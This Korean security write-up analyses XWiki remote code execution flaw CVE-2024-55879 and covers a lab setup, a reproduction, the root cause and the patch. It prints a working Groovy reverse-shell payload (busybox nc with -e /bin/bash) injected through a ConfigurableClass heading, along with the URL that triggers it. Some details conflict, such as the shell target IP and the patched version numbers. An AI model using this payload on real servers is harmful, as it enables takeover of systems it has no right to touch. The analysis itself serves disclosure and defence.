
 

EQST insight | 1 

Research & Technique 
    

 

XWiki RCE 취약점(CVE-2024-55879) 
 

■ 서론 

XWiki 는 Java 로 개발된 무료 오픈소스다. 많은 사용자들이 웹 페이지를 만드는 것은 물론 편집할 수 있게 

하고 기능을 확장한 것에 초점을 둔 위키 소프트웨어다. OSINT 검색 엔진을 통해 인터넷 상에 공개된 

XWiki 을 조회해 본 결과, 2025 년 02 월 06 일 기준으로 미국·독일·영국을 비롯해 많은 국가의 약 4 만 개 

사이트에서 XWiki 를 사용 중인 것을 확인할 수 있다. 

 

 
출처: fofa.info 

그림 1. XWiki 사용 통계 

 

2024 년 12 월 12 일에는 XWiki 의 원격 임의 코드 실행 취약점(CVE-2024-55879)이 공개됐다. 해당 

취약점은 XWiki 의 자체 기능으로 특정 객체를 추가하고, 취약한 속성에 페이로드를 주입하고 실행함으로써 

XWiki 서버에서 악의적인 코드를 실행할 수 있기 때문에 발생한다. 공격자는 스크립트 작성 권한이 있는 

계정을 통해 사용자 정보를 수정하는 도중에 특정 객체에 악성 코드를 주입, 실행한다. 이를 통해 운영 서버 

측의 임의 명령 실행을 통해 서버 탈취가 가능하다. 
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■ 공격 시나리오 

 

그림 2. CVE-2024-55879 공격 시나리오 

 

① 공격자는 XWiki 사용자 계정을 탈취 

② 공격자는 위키 플랫폼으로 취약한 XWiki를 사용 중인 서버 탐색 

③ 공격자는 CVE-2024-55879 취약점을 이용해 악의적인 스크립트 삽입 

④ 공격자는 악의적인 스크립트 실행을 통해 서버 내 암호화폐 채굴기 설치 

⑤ 공격자는 서버에 설치된 암호화폐 채굴기로 서버 자원을 이용해 암호화폐 채굴 

 

■ 영향받는 소프트웨어 버전 

CVE-2024-55879 에 취약한 소프트웨어 버전은 다음과 같다. 
S/W 구분 취약 버전 

XWiki-platform 
>= 2.3, < 15.10.9 

>= 16.0.0-rc-1, < 16.3.0 

 

■ 테스트 환경 구성 정보 

테스트 환경을 구축해 CVE-2024-55879 의 동작 과정을 살펴본다. 
이름 정보 

피해자 
XWiki-platform v15.10.5 

(172.19.0.4) 

공격자 
Kali Linux 

(172.19.0.3) 
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■ 취약점 테스트 

Step 1. 환경 구성 

피해자 PC 에 취약한 버전의 XWiki 이미지를 설치한다. CVE-2024-55879 취약점 테스트 구성을 위한 

docker-compose.yml 예시는 다음과 같다. 
services: 

  xwiki: 

    image: XWiki:15.10.5 

    container_name: xwiki 

    ports: 

      - "8080:8080" 

    environment: 

      - DB_USER=xwiki 

      - DB_PASSWORD=xwiki 

      - DB_DATABASE=xwiki 

      - DB_HOST=db 

    depends_on: 

      - db 

    networks: 

      - cve-2024-55879 

 

  db: 

    image: mariadb:10.6 

    container_name: xwiki-db 

    environment: 

      - MYSQL_ROOT_PASSWORD=root 

      - MYSQL_DATABASE=xwiki 

      - MYSQL_USER=xwiki 

      - MYSQL_PASSWORD=xwiki 

    networks: 

      - cve-2024-55879 

    ports: 

      - "3306:3306" 

volumes: 

  xwiki-data: 

  db-data: 

   

networks: 

  cve-2024-55879: 

    driver: bridge 
 

작성된 docker-compose.yml 파일을 실행한다. 

> docker-compose up -d 

 

이후 취약한 패키지인 org.xwiki.platform_xwiki-platform-administration-ui_15.10.5.xar 를 설치한다. 

•URL: https://extensions.xwiki.org/xwiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-

platform-administration-ui/versions/15.10.5/file?rid=maven-xwiki 

 

 

 

 

https://extensions.xwiki.org/xwiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-platform-administration-ui/versions/15.10.5/file?rid=maven-xwiki
https://extensions.xwiki.org/xwiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-platform-administration-ui/versions/15.10.5/file?rid=maven-xwiki
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다운받은 위 패키지를 메뉴 > Administartion 접근할 때 Upload a new package 를 통해 업로드한다. 

 

그림 3. 취약한 패키지 설치 

 

마지막으로 리버스쉘을 위한 busybox 를 XWiki 서버 내부에 설치한다. 

> docker exec -it xwiki sh -c "apt update && apt install -y busybox" 

 

 

Step 2. 취약점 테스트 

일반 사용자의 정보를 수정하기 위해 관리자가 아닌 일반 사용자 계정을 생성한다. 

 
그림 4. 사용자 생성 
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Script 권한이 있는 사용자만 임의 명령 실행을 수행할 수 있으므로, 관리자 계정에 Script 를 포함한 권한을 

추가한다. 

 
그림 5. 사용자 권한 추가 

  

이후 http://localhost:8080/bin/edit/xwiki/<생성한_사용자명>?editor=object 으로 접속할 때 해당 

사용자에게 객체를 추가할 수 있다. 

 
그림 6. ConfigurableClass 객체 추가 
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추가된 객체의 속성에 아래의 값을 저장한다. 
속성 명 값 

display in seciton other  

display in category other 

heading 

#set($codeToExecute = 'Test')  #set($codeToExecuteResult = '{{async}}{{groovy}} def 

command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute(); 

proc.waitFor() {{/groovy}}{{/async}}') 

 

위 속성 값 중 heading 값이 악성 페이로드로 동작한다.  

 

이후 http://localhost:8080/bin/view/xwiki/<생성한_사용자명>?sheet=XWiki.AdminSheet&viewer=con

tent&section=other 로 접속 시 작성된 페이로드가 실행된다. 

 
그림 7. 악성 페이로드 실행 

 

공격자 서버의 8888 포트를 통해 XWiki 서버의 쉘을 획득한다. 

 
그림 8. 공격자 쉘 획득 
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■ 취약점 상세 분석 

취약점 상세 분석에서는 CVE-2024-55879 취약점이 발생하는 원리와 임의 명령 실행 취약점을 

순차적으로 설명한다. Step 1 에서는 XWiki 의 Administrator Application 기능과 데이터 저장 과정을 

추적하며 Step 2 에서는 호출된 데이터를 이용해 임의 명령 실행 취약점이 발생하는 과정을 살펴본다. 

 

Step 1. Administrator Application 

1) XWiki ConfigurableClass 

XWiki Enterprise 1.5 부터 XWiki 인스턴스를 관리하는 Adminstration Application 은 별도로 설치해야 

한다. 해당 기능의 설치를 위해서 아래 링크의 xar 파일을 다운로드 받은 뒤, XWiki 페이지 내에서 Import 

한다. 

 

•URL: https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-

platform-administration-ui/versions/<XWiki_version>/file?rid=maven-xwiki 

 
그림 9. Administration Application 파일 Import 

 

 

 

 

 

 

 

 

 

 

 

 
 

https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-platform-administration-ui/versions/%3cXWiki_version%3e/file?rid=maven-xwiki
https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-platform-administration-ui/versions/%3cXWiki_version%3e/file?rid=maven-xwiki
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XWiki 의 Administration Application Extension 의 기능에는 ConfigurableClass 기능이 있다. 해당 

기능은 파일을 직접 수정하는 대신에 설정을 가진 클래스를 만들어 각 설정에 대한 속성값을 정의할 수 있다. 

위 과정은 /bin/edit/XWiki/EQSTTester?editor=object 경로에 접근한 뒤, 설정에서 Custom 

Configurable sections 를 추가해서 실행할 수 있다. 

 
그림 10. ConfigurableClass 설정 

 

해당 설정 값을 추가하면서 정의할 수 있는 주요 속성 값은 아래와 같다. 
이름 설명 

displayInSection 애플리케이션을 설정하는데 사용할 관리 섹션을 지정 

heading configurableClass 객체의 제목으로 설정할 값 

codeToExecute 양식 이외에 표시하고 싶은 Velocity 스크립트 

displayinCategory 애플리케이션을 설정하는데 사용할 관리 카테고리를 지정 

 

위 설정 값은 db 에 저장되며, 이는 XWikiobjects 테이블에 저장된 ConfigurableClass 를 조회해서 확인 

가능하다. 

 
그림 11. XWikiobjects 내 저장된 ConfigurableClass 정보 
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위에서 조회한 ConfigurableClass 의 XWO_ID 값을 활용해 XWikistrings 테이블을 조회하면 

ConfigurableClass 의 String 으로 저장된 상세 정보 확인이 가능하다. 

 
그림 12. XWikiobjects 내 저장된 ConfigurableClass 상세 정보 

 

 

2) Administrator Application 상세 분석 

위에서 불러온 Administrator Application extension 의 상세 구조와 extension 내 파일 분석을 통해 

Administrator Application 의 기능을 확인할 수 있다. 

 

(1) XAR 파일 

XWiki 에서는 xar 확장자를 가진 압축 파일을 통해 각 문서를 Import 하거나 Export 한다. 해당 파일의 

구조는 아래와 같다. 

 
그림 13. xar 파일 구조 

 

package.xml 에는 xar 파일에 대한 설명이 포함되어 있으며 문서 이름, 문서에 대한 설명, 작성자 등의 

정보도 포함되어 있다. 각 문서(Document1.xml, Document2.xml)는 계층 구조를 가지며 일반적으로 계층 

구조에 맞춰 폴더 생성 후 이를 저장한다. 해당 문서에는 버전 정보, 이름, 작성자, 참조할 때 활용할 

네임스페이스, 본문 내용 등이 포함된다. 
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(2) ConfigurableClass.xml 

Administrator Application Extension 에서 ConfigurableClass 의 동작은 ConfigurableClass.xml 에서 

다룬다. 해당 문서의 본문은 주로 Velocity 템플릿으로 구성되어 있다. Velocity 는 간단한 템플릿 언어를 

사용해 코드에 정의된 객체를 참조할 수 있는 기능을 가진 Java 기반 Template 엔진이다. 기본적으로 

Velocity 템플릿에서 사용하는 문법은 아래와 같다.  

 

ConfigurableClass.xml 의 내부는 ConfigurableClass 설정을 데이터베이스로부터 조회하고 저장하는 

매크로인 findNamesOfAppsToConfigure 을 실행하는 것으로 시작한다. 

 
그림 14. findNamesOfAppsToConfigure 매크로 

 

해당 매크로에 대한 정의는 ConfigurableClassMacros.xml 에 있는 본문의 Velocity 템플릿으로 명시한다. 

여기에는 HQL(Hibernate Query Language)1  쿼리문을 정의하고 실행하는 과정이 정의되어 있으며, 반환 

결과를 $outputList 에 저장하는 역할을 한다. 또한 변수로 받는 $section 은 사용자가 입력할 section 

파라미터 값에 해당하고, $XWiki.getDocument($currentDoc).getSpace()는 현재 문서 이름을 제외한 

계층 구조를 반환한다. 

 

 

 

 
1 HQL(Hibernate Query Language): SQL 과 외관은 비슷하나 객체 지향적이며 상속, 다형성, 클래스 간의 관계를 정의할 수 있는 Hibernate 에서 

사용하는 쿼리 언어 

구분자 설명 예시 

#set(…) 참조할 값을 설정 #set( $primate = “monkey” ) 

#if(…) 

… 

#else 

… 

#end 

조건문을 나타내는 구분자 

#if ($foo == $bar) 

Equal 

#else 

Not equal 

#end 

#foreach( … ) 

… 

#end 

반복문을 나타내는 구분자 

#foreach( #product in $allProducts ) 

<li>$product</li> 

#end 

#macro( $arg1, $arg2 ) 

… 

#end 

매크로, 

반복되는 문장을 정의하는 구분자 

#macro( tablerows $color $somelist ) 

#foreach( $something in $somelist ) 

    <tr><td 

bgcolor=$color>$something</td></tr> 

#end 

#end 
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쿼리문을 실행하는 코드는 아래와 같으며, 현재 문서에서 사용자가 입력한 section 파라미터가 1) XWiki 

ConfigurationClass 에서 입력한 displayInSection 필드와 일치하는 ConfigurableClass 클래스를 

조회한다.  

 
그림 15. HQL 쿼리문을 실행 

 

위 쿼리 실행 결과는 $outputList 변수에 저장한다. 

 
그림 16. HQL 쿼리문 실행 후 저장 
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Step2. XWiki RCE 취약점 (CVE-2024-55789) 

1) heading 파라미터 추적 

 
그림 17. heading 파라미터 접근 과정 

 

○1  findNamesOfAppsToConfigure 함수를 통해 $outputList 배열 값을 추출한다. 

○2  $outputList 배열 데이터를 $appName 변수에 지정한다. 

○3  $XWiki.getDocument($appName)를 통해 $app 객체를 획득할 수 있다. 

○4  heading 파라미터는 $app.getValue('heading', $configurableObj)로 값이 저장된다. 

 

heading 파라미터로 전달된 페이로드는 아래의 단계를 통해 디버깅 코드를 추가해 변수의 재정의 과정을 

확인할 수 있다. 

○1  취약한 버전의 org.XWiki.platform_XWiki-platform-administration-ui_<버전>.xar 다운로드 

○2  다운 받은 파일을 zip 으로 확장자 변경 후 압축 해제 

○3  XWiki > ConfigurableClass.xml 파일 중 #set($evaluatedHeading = "#evaluate($heading)") 라인 

앞뒤로 아래 디버깅 코드 추가 
== Debug Before == 
Heading: **$services.rendering.escape($heading, 'XWiki/2.1')** 
CodeToExecute Before: **$services.rendering.escape($configurableObj.display('codeToExecute', 'view', false), 
'XWiki/2.1')** 
CodeToExecuteResult Before: **$services.rendering.escape($configurableObj.display('codeToExecuteResult', 'view', 
false), 'XWiki/2.1')** 
===================== 
 
## Original Code 
#set($evaluatedHeading = "#evaluate($heading)") 
 
== Debug After == 
Evaluated Heading: **$services.rendering.escape($evaluatedHeading, 'XWiki/2.1')** 
CodeToExecute After: **$services.rendering.escape($codeToExecute, 'XWiki/2.1')** 
CodeToExecuteResult After: **$services.rendering.escape($codeToExecuteResult, 'XWiki/2.1')** 
===================== 

○4  파일 저장 후 다시 압축 후 확장자를 (.xar)로 원상복구 

○5  xar 파일을 XWiki 웹 페이지 > Administar Wiki > content > import 를 통해 업로드 후 설치 
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이후 heading 파라미터의 동작 여부를 아래와 같이 확인할 수 있다. 

 
그림 18. heading 페이로드 전 후 변수 값 

 

 

2) XWiki scripting 과 실제 동작 과정 

Java Scripting API (JSR-223, 표준 API)는 Java 애플리케이션에서 다른 스크립트 언어를 실행할 수 

있도록 지원하는 기능이다. 이는 JSR 223(Java Specification Request 223) 표준을 기반으로 하며, 실행 

중 동적으로 코드를 실행하거나 Java 와 스크립트 언어 간 데이터를 교환할 수 있도록 한다. XWiki 에서는 

Java Scripting API 를 통해 Groovy, Python, Ruby, PHP 스크립트를 Macro 로 래핑하고 있으며 

{{스크립트 언어 종류}} 방식으로도 호출해서 사용이 가능하다. 

 

공격자는 EQST 유저 객체에 ConfigurableClass 를 추가한 뒤, heading 변수에 아래와 같은 페이로드를 

삽입해 저장한다. 

 
그림 19. heading 페이로드 저장 

 

이때 사용된 페이로드는 다음과 같다. 
#set($codeToExecute = 'Test')   
#set($codeToExecuteResult = '{{async}}{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e 
/bin/bash"; def proc = command.execute(); proc.waitFor() {{/groovy}}{{/async}}') 

 

해당 페이로드는 각각 두 변수를 재정의하고 codeToExecuteResult 변수에는 groovy 스크립트를 사용해 

리버스 쉘을 실행시키는 코드를 포함하고 있다. 
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<XWiki_domain>/bin/view/XWiki/EQST?sheet=XWiki.AdminSheet&viewer=content&section=other 

로 접근 시 추가된 ConfigurableClass 객체 내부의 Velocity 코드가 실행된다. 이전에 추가한 디버깅 

코드를 통해 heading 변수로 인한 변수 재정의 결과를 확인할 수 있다. 

 
그림 20. heading 페이로드 저장 

 

이때 서버 내부에서는 heading 변수가 실행되고 각각 $codeToExecute, $codeToExecuteResult 두 

변수를 재정의하게 된다. 

 
그림 21. heading 변수 실행 코드 

 

재정의된 $codeToExecuteResult 의 내부 페이로드는 {{velocity}} 스크립트 동작 과정에서 다시 한번 

{{async}},{{groovy}} 스크립트를 호출한다. 이를 통해 서버 내부에서 공격자가 heading 을 통해 전달한 

페이로드를 실행하게 된다.  

 
그림 22. CodeToExecuteResult 변수 실행 코드 
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실행된 페이로드를 통해 공격자는 서버에서 대기중인 8888 포트를 통해 성공적으로 XWiki 서버의 쉘을 

획득하게 된다. 

 
그림 23. 공격자 PC 리버스쉘 연결 성공 
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■ 대응 방안  

해당 취약점은 XWiki의 Velocity 템플릿 내부에서 실행되는 groovy 코드로 인해 공격자의 악의적인 코드가 

역시 내부에서 실행되어 발생한다. 해당 로직은 2023 년 8 월 4 일 발견된 후 2024 년 4 월 26 일 

패치되었으며, 소스코드 변경 내역은 아래에서 확인 가능하다. 

•URL:https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862

d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b3

7ad3ce 

 

취약한 버전 사용 여부는 XWiki > Administrator Wiki > Content > Import > org.XWiki.platform_xwiki-

platform-administration-ui_<버전_정보>.xar 를 통해 확인할 수 있다. 

 
그림 24. 관리자 페이지 > Extension 확인 

 

취약점 패치 내용을 확인한 결과, ConfigurableClass.xml 파일의 codeToExecute 변수 처리 과정이 

변경되어 임의 명령 실행에 사용된 codeToExecuteResult 변수를 더 이상 사용하지 않음을 알 수 있다. 

 
그림 25. codeToExecute 변수 처리 수정 사항 

 

 

 

 

 

https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
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또한 변수 codeToExecutResult 가 실행되어 취약했던 구간은 아래와 같이 스크립트 매크로가 아닌 단순 

문자열로 출력해 코드 실행을 방지했다. 

 
그림 26. codeToExecutResult 수정 사항 

 

취약한 버전의 XWiki 는 <=15.10.9, <=16.3.0 버전으로 패치 작업을 수행해야 한다. 단, 패치 적용 전에 

모든 중요 데이터는 반드시 백업한 뒤에 공식 문서를 참고해 진행해야 한다. 또한 배포 환경마다 업그레이드 

방법이 상이함에 유의해야 한다. 패치를 수행하는 방안은 아래와 같다. 
배포 환경 패치 방벙 

패키지 업그레이드 sudo apt install xwiki–tomcat9-mariadb 실행 

Docker 업그레이드 링크를 참조하여 이미지 변경 및 릴리즈 노트의 지침 수행 

WAR 업그레이드 기존 WAR 삭제 후 새 버전을 다운로드 후 배포 또는 Distribution Wizard 활용 

데모 패키지 업그레이드 새 버전을 별도로 설치한 후, 설정 파일과 디렉토리를 수동으로 편집 

 

상세 패치는 아래 링크를 참고해서 수행할 수 있다. 

•URL: https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/ 

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/


 

EQST insight | 18 

■ 참고 사이트  
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https://www.xwiki.org/xwiki/bin/view/ReleaseNotes/Data/XWiki/14.7RC1/Entry001/ 

• XWiki (XWikiSyntax) : 
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